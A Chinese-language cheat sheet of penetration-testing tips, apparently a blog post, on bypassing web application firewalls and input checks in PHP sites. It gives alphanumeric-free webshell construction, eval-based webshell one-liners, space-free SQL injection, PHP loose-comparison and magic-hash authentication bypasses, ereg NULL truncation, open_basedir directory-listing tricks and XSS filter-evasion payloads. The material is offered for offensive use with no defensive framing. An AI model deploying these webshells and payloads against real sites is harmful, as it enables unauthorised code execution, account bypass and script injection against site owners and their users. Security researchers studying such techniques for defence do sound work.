最近搜集的一些,php过waf webshell,弱类型,open basedir,XSS绕过的一些小tips,欢迎大牛纠错。-\ -
无字母数字webshell构造 PHP TRUE == 1 FALSE == 0 TRUE + TRUE == 2 异或:' ! '^' ` ' == 'A' 取反:~('和'{2}) == 's' PHP 自增:仅允许字母字符自增 'a'++ == 'b'; 'z'++ == 'aa'; php 5.3 ' '.[] == 'Array' 'Array'{0} === 'A' 'Array'{3} === 'a' ' ' == 0 $_=' '.[]; $_{' '}==='A'; 渗透测试小tips 魔术引号不过滤 $_SERVER[] 字段,造成注入mysql的类型强制转换可绕过PHP中 empty() 函数对0的false返回
提交/?test=0axxx -> empty($_GET['test']) => 返回真当可控变量进入双引号中时可形成webshell
$a = "${@eval($_POST[s])}"; $a = "${${eval($_POST[s])}}";过滤了空格,逗号的注入,可使用括号包裹绕过
select(location)from(website); select{x(name)}from{x(manager)};由于PHP弱类型验证机制,导致 == 、 in_array() 等可通过强制转换绕过验证。
in_array($_GET['x'],array(1,2,3,4,5)) 访问?test=’1’testtest可判断成功windows特性
windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表N个任意字符与1个任意字符变量覆盖
$GLOBALS,$_SERVER,$_GET,$_POST,$_COOKIE,$_REQUEST,$_FILES,$_ENV,$_SESSION parse_str(),mb_parse_str(),import_request_variables(),extract() PHP的强制类型转换的原则 对于数学运算,字符串转换为数值 对于字符串运算,数值转换为字符串 PHP弱类型 == 只检查值,不检查类型 === 既检查值,又检查类型 NULL,0,”0”,array()使用==和false比较时,都是会返回true的,而使用===却不会 123abc == 123 ―> true 0 == 'abc' ―> true '0e132456789'=='0e7124511451155' ―>true 240610708、QNKCDZO、aabg7XSs、aabC9RqS的MD5相同 intval()函数:string转int intval('0x1e240')=='123456' //true intval('0x1e240')==123456 //true intval('0x1e240')=='1e240' //false 当其中的一个字符串是0x开头的时候,ox开头表示16进制,PHP会将此字符串解析成为十进制然后再进行比较, 0×1e240解析成为十进制就是123456,所以与int类型和string类型的123456比较都是相等 对数组进行MD5,sha1等hash运算时,结果都为NULL md5(name[] = 1) == md5(password[]= 2) ―>NULL == NULL ―>true strcmp strcmp(string $str1,string $str2 ) 如果str1小于str2,返回-1,相等返回0,否则返回1。 strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。 如果传入的参数为数字或数组,再和字符串做strcmp,就会返回NULL strcmp($array,'123') == 0 当array为数字或者数组时,等式等于true $array=[1,2,3] ―> strcmp([1,2,3] ,'123') ―> NULL ―>NULL == 0 in_array():函数搜索数组中是否存在指定的值 $array=(0,1,2,'3') in_array('abc', $array) ―> 'abc' ―> 0 ―> 0 == array[0] ―> true $array=(0,1,2,3) in_array($search, $array) 当传入$search = 1'aaaaaaaa 结果为true in_array($search, $array) ―> 1'aaaaaaaa ―> 1 ―> 1 == array[1] ―> true 注:in_array 有第三个参数 in_array(’5\’ union select’, array(1, 5, 3, 2), true) ―> false ereg ereg(string pattern, string string, array [regs]) 字符串对比解析,以 pattern 的规则来解析比对字符串 string。比对结果返回的值放在数组参数 regs 之中, regs[0] 内容就是原字符串 string、regs[1] 为第一个合乎规则的字符串、regs[2] 就是第二个合乎规则的字符串,余类推。 若省略参数 regs,则只是单纯地比对,找到则返回值为 true。 ereg函数存在NULL截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析 $ip = "192.168.2.11".chr(0)."haha"; if(ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$",$ip)) { echo $ip; } else { echo "unknown"; } 输出:192.168.2.11haha 注:结合ereg处理$ _SERVER的情况 绕过open_basedir 利用DirectoryIterator + Glob 直接列举目录 realpath列举目录 SplFileInfo::getRealPath列举目录 GD库imageftbbox/imagefttext列举目录 bindtextdomain暴力猜解目录 XSS绕过 . 可以用 with onerror 可以用 onblur oncut window 可以用 top parent self al%00ert `` \x0A\x0D 可以用 \x2028\x2029 base64解码函数atob() "oncut=_=window;_.onerror=_["al"+"ert"];throw[1] "oncut=location="javascript:aler"+"t%"+"281%"+"29